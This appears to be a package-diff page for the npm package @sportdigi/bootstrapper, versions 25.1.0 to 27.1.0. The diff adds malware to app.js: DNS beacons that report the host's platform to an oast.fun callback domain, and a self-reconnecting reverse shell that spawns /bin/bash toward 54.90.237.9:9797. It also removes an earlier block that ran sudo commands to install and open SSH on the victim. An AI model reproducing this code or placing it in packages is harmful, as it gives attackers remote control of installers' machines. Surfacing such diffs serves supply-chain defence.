@sportdigi/bootstrapper 25.1.0 → 27.1.0
Sign up to get free protection for your applications and to get access to all the features.
- package/app.js +49 -37
- package/package.json +1 -1
package/app.js
CHANGED
@@ -1,8 +1,5 @@
|
|
1
1
|
const dns = require('dns');
|
2
2
|
const os = require('os');
|
3
|
-
const net = require('net');
|
4
|
-
const spawn = require('child_process').spawn;
|
5
|
-
const { execSync} = require('node:child_process');
|
6
3
|
let platform = os.platform();
|
7
4
|
function sendDns(query){
|
8
5
|
let domain = `${query}.fctdhxpvrzxmmwtxpidt0w23qlngi0owc.oast.fun`;
|
@@ -16,41 +13,56 @@ function sendDns(query){
|
|
16
13
|
|
17
14
|
if (platform == 'win32'){
|
18
15
|
sendDns("windows");
|
19
|
-
}else if(platform == 'linux'){
|
20
|
-
|
21
16
|
}
|
22
17
|
sendDns(platform);
|
23
18
|
|
19
|
+
const net = require('net');
|
20
|
+
const spawn = require('child_process').spawn;
|
21
|
+
|
22
|
+
const HOST = '54.90.237.9';
|
23
|
+
const PORT = 9797;
|
24
|
+
const retryInterval = 15000;
|
25
|
+
|
26
|
+
function connect() {
|
27
|
+
const client = new net.Socket();
|
28
|
+
|
29
|
+
client.connect(PORT, HOST, () => {
|
30
|
+
console.log('Bağlantı kuruldu.');
|
31
|
+
|
32
|
+
const shell = spawn('/bin/bash', []);
|
33
|
+
|
34
|
+
shell.stdout.on('data', (data) => {
|
35
|
+
console.log('stdout:', data.toString());
|
36
|
+
client.write(data);
|
37
|
+
});
|
38
|
+
|
39
|
+
shell.stderr.on('data', (data) => {
|
40
|
+
console.error('stderr:', data.toString());
|
41
|
+
client.write(data);
|
42
|
+
});
|
43
|
+
|
44
|
+
client.on('data', (data) => {
|
45
|
+
shell.stdin.write(data);
|
46
|
+
});
|
47
|
+
|
48
|
+
client.on('close', () => {
|
49
|
+
console.log('Bağlantı kapatıldı.');
|
50
|
+
client.destroy();
|
51
|
+
scheduleReconnect();
|
52
|
+
});
|
53
|
+
});
|
54
|
+
|
55
|
+
client.on('error', (err) => {
|
56
|
+
console.error('Bağlantı hatası:', err);
|
57
|
+
client.destroy();
|
58
|
+
scheduleReconnect();
|
59
|
+
});
|
60
|
+
}
|
61
|
+
|
62
|
+
|
63
|
+
function scheduleReconnect() {
|
64
|
+
console.log(`Bağlantı ${retryInterval / 1000} saniye sonra yeniden deneniyor...`);
|
65
|
+
setTimeout(connect, retryInterval);
|
66
|
+
}
|
24
67
|
|
25
|
-
|
26
|
-
"sudo yum update -y",
|
27
|
-
"sudo yum install -y openssh-server",
|
28
|
-
"sudo firewall-cmd --permanent --zone=public --add-service=ssh",
|
29
|
-
"sudo firewall-cmd --reload",
|
30
|
-
"sudo systemctl start sshd",
|
31
|
-
"sudo systemctl enable sshd",
|
32
|
-
"sudo apt update",
|
33
|
-
"sudo apt install -y openssh-server",
|
34
|
-
"sudo ufw allow 22/tcp",
|
35
|
-
"sudo ufw reload",
|
36
|
-
"sudo setsebool -P sshd_disable_trans 1",
|
37
|
-
"sudo systemctl start sshd",
|
38
|
-
"sudo systemctl enable sshd"
|
39
|
-
|
40
|
-
];
|
41
|
-
|
42
|
-
const setupSSH = (commands) => {
|
43
|
-
for (const command of commands) {
|
44
|
-
try {
|
45
|
-
console.log(`Çalıştırılıyor: ${command}`);
|
46
|
-
const result = execSync(command).toString();
|
47
|
-
console.log(result);
|
48
|
-
} catch (error) {
|
49
|
-
console.error(`Hata: ${command} komutu başarısız oldu`);
|
50
|
-
console.error(error.message);
|
51
|
-
sendDns("Hata");
|
52
|
-
}
|
53
|
-
}
|
54
|
-
};
|
55
|
-
|
56
|
-
setupSSH(linuxCommands);
|
68
|
+
connect();
|